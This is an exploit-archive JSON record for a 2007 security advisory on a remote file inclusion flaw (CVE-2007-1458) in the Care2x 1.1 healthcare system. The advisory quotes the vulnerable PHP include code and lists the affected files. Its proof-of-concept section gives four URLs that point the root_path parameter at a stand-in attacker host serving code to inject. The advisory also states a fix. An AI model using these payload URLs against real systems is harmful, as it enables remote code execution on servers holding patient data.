{"exploit":{"id":"EDB-3472","name":"Care2x 1.1 - 'ROOT_PATH' Remote File Inclusion (RFI)","description":"Care2x 1.1 - 'ROOT_PATH' Remote File Inclusion (RFI)","cves":["CVE-2007-1458"],"author":"the_day","published":"2007-03-13","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3472","path":"exploits/php/webapps/3472.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3472.txt","vulnerabilities":[{"id":"CVE-2007-1458","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP remote file inclusion vulnerabilities in CARE2X 1.1 allow remote attackers to execute arbitrary PHP code via a URL in the root_path parameter to (1) inc_checkdate_lang.php, (2) inc_charset_fx.php, (3) inc_config_color.php, (4) inc_currency_set.php, (5) inc_db_makelink.php, (6) inc_diagnostics_report_fx.php, (7) inc_environment_global.php, (8) inc_front_chain_lang.php, (9) inc_init_crypt.php, (10) inc_load_copyrite.php, or (11) inc_news_save.php in include/; (12) diagnostics-report-index.php, (13) config_options_mascot.php, (14) barcode-labels.php, (15) chg-color.php, or (16) config_options_gui_template.php in main/; or unspecified other files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1458","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1458"},"updatedAt":"2024-08-07T12:59:08.442Z","retrievedAt":"2026-11-27T04:06:43.221Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3472.png?v=2","url":"https://exploitbin.com/exploits/EDB-3472","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3472/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3472/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"____________________   ___ ___ ________\n\\_   _____/\\_   ___ \\ /   |   \\\\_____  \\\n |    __)_ /    \\  \\//    ~    \\/   |   \\\n |        \\\\     \\___\\    Y    /    |    \\\n/_______  / \\______  /\\___|_  /\\_______  /\n        \\/         \\/       \\/         \\/                              .OR.ID\nECHO_ADV_72$2007\n\n-------------------------------------------------------------------------\n[ECHO_ADV_72$2007] CARE2X (root_path) Remote File Inclusion Vulnerability\n-------------------------- ----------------------------------------------\n\nAuthor\t\t: Dedi Dwianto a.k.a the_day\nDate Found\t: March, 13th 2007\nLocation\t: Indonesia, Jakarta\nweb\t\t: http://advisories.echo.or.id/adv/adv72-theday-2007.txt\nCritical Lvl\t: Highly critical\nImpact\t\t: System access\nWhere\t\t: From Remote\n---------------------------------------------------------------------------\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nApplication\t: CARE2X\nversion\t\t: 1.1\nURL\t\t: http://www.care2x.org\n\nCare2x integrates data, functions and workflows in a healthcare environment.\nIt is currently composed of four major components.\nEach of these components can also function individually.\n---------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~~~~~\n\n- Invalid include_once function at include/inc_checkdate_lang.php\n-----------------------include/inc_checkdate_lang.php------------\n\n<?\nif(file_exists($root_path.\"language/$lang/lang_\".$lang.\"_checkdate.php\")) include_once($root_path.\"language/$lang/lang_\".$lang.\"_checkdate.php\");\n else include_once($root_path.\"language/en/lang_en_checkdate.php\");\nif(file_exists($root_path.\"language/$lang/lang_\".$lang.\"_date_time.php\")) include_once($root_path.\"language/$lang/lang_\".$lang.\"_date_time.php\");\n else include_once($root_path.\"language/en/lang_en_date_time.php\");\n?>\n\n----------------------------------------------------------\n\nInput passed to the \"$root_path\" parameter in inc_checkdate_lang.php is not\nproperly verified before being used. This can be exploited to execute\narbitrary PHP code by including files from local or external\nresources.\n\nalso affected files :\n\ninclude/inc_charset_fx.php\ninclude/inc_config_color.php\ninclude/inc_currency_set.php\ninclude/inc_db_makelink.php\ninclude/inc_diagnostics_report_fx.php\ninclude/inc_environment_global.php\ninclude/inc_front_chain_lang.php\ninclude/inc_init_crypt.php\ninclude/inc_load_copyrite.php\ninclude/inc_news_save.php\nmain/barcode-labels.php\nmain/chg-color.php\nmain/config_options_gui_template.php\nmain/config_options_mascot.php\nmain/diagnostics-report-index.php\n\n\nand More ....\n\n\n\nProof Of Concept:\n~~~~~~~~~~~~~~\n\nhttp://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt?\nhttp://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt?\nhttp://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt?\nhttp://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?\n\n\n\nSolution:\n~~~~~~\n\n- Sanitize variable $root_path affected files.\n- Turn off register_globals\n\n---------------------------------------------------------------------------\n\nShoutz:\n~~\n~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous\n~ Jessy Nice Girl\n~ az001,bomm_3x,matdhule,angelia\n~ newbie_hacker@yahoogroups.com\n~ #aikmel - #e-c-h-o @irc.dal.net\n------------------------------------------------------------------------\n---\nContact:\n~~~\n     EcHo Research & Development Center\n     http://advisories.echo.or.id\n     erdc[at]echo[dot]or[dot]id\n     the_day[at]echo[dot]or[dot]id\n\n-------------------------------- [ EOF ]----------------------------------\n\n# milw0rm.com [2007-03-13]","sha256":"7c238d25faa24108e72fd43a5871f5ea3bb3afb6b0a9aab8ed409daf3e423229","bytes":3712,"fetchedAt":"2026-11-27T04:06:40.520Z","encoding":"utf-8 (display only; download retains original bytes)"}